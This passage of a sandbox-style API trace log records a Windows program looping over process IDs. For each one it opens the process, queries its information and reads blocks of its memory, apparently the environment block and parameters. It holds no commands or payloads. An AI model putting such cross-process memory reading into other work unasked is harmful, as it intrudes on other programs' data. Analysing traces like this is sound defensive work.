[0346.347] free (_Block=0xeb6690) [0346.347] CloseHandle (hObject=0xa9c) returned 1 [0346.348] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0346.348] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0346.348] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.348] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.349] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0346.349] GetLastError () returned 0x0 [0346.349] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.349] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.349] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.349] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.349] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.350] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.350] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.350] malloc (_Size=0x8a) returned 0xec7340 [0346.350] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7340, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7340*, lpNumberOfBytesRead=0x0) returned 1 [0346.351] free (_Block=0xec7340) [0346.351] CloseHandle (hObject=0xa9c) returned 1 [0346.351] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0346.351] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0346.352] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.352] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.352] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0346.352] GetLastError () returned 0x0 [0346.353] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.353] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.353] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.353] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.354] malloc (_Size=0x88) returned 0xe88240 [0346.354] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe88240, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88240*, lpNumberOfBytesRead=0x0) returned 1 [0346.354] free (_Block=0xe88240) [0346.355] CloseHandle (hObject=0xa9c) returned 1 [0346.355] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0346.355] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0346.355] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.355] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.356] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0346.356] GetLastError () returned 0x0 [0346.356] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.356] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.357] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.357] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.357] malloc (_Size=0x68) returned 0xeb65b0 [0346.357] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb65b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.358] free (_Block=0xeb65b0) [0346.358] CloseHandle (hObject=0xa9c) returned 1 [0346.358] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0346.358] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0346.359] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.359] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.359] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0346.359] GetLastError () returned 0x0 [0346.360] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.360] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.361] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.361] malloc (_Size=0x6c) returned 0xea9820 [0346.361] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea9820, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0346.362] free (_Block=0xea9820) [0346.362] CloseHandle (hObject=0xa9c) returned 1 [0346.362] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0346.363] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0346.363] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.363] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.364] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0346.364] CloseHandle (hObject=0x0) returned 0 [0346.364] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0346.364] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0346.364] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.364] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.365] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0346.365] GetLastError () returned 0x0 [0346.365] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.365] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.366] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.366] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.366] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.366] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.366] malloc (_Size=0x8a) returned 0xec78e0 [0346.366] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec78e0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec78e0*, lpNumberOfBytesRead=0x0) returned 1 [0346.367] free (_Block=0xec78e0) [0346.367] CloseHandle (hObject=0xa9c) returned 1 [0346.367] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0346.368] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0346.368] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.368] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.368] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0346.369] GetLastError () returned 0x0 [0346.369] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.369] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.369] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.369] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.370] malloc (_Size=0x8a) returned 0xec7340 [0346.370] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7340, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7340*, lpNumberOfBytesRead=0x0) returned 1 [0346.370] free (_Block=0xec7340) [0346.370] CloseHandle (hObject=0xa9c) returned 1 [0346.371] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0346.371] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0346.371] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.371] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.372] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0346.372] GetLastError () returned 0x0 [0346.372] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.372] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.373] malloc (_Size=0x8a) returned 0xec7200 [0346.373] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7200, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0346.374] free (_Block=0xec7200) [0346.374] CloseHandle (hObject=0xa9c) returned 1 [0346.374] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0346.374] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0346.374] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.374] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.375] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0346.375] GetLastError () returned 0x0 [0346.375] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.375] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.375] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.375] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.376] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.376] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.376] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, 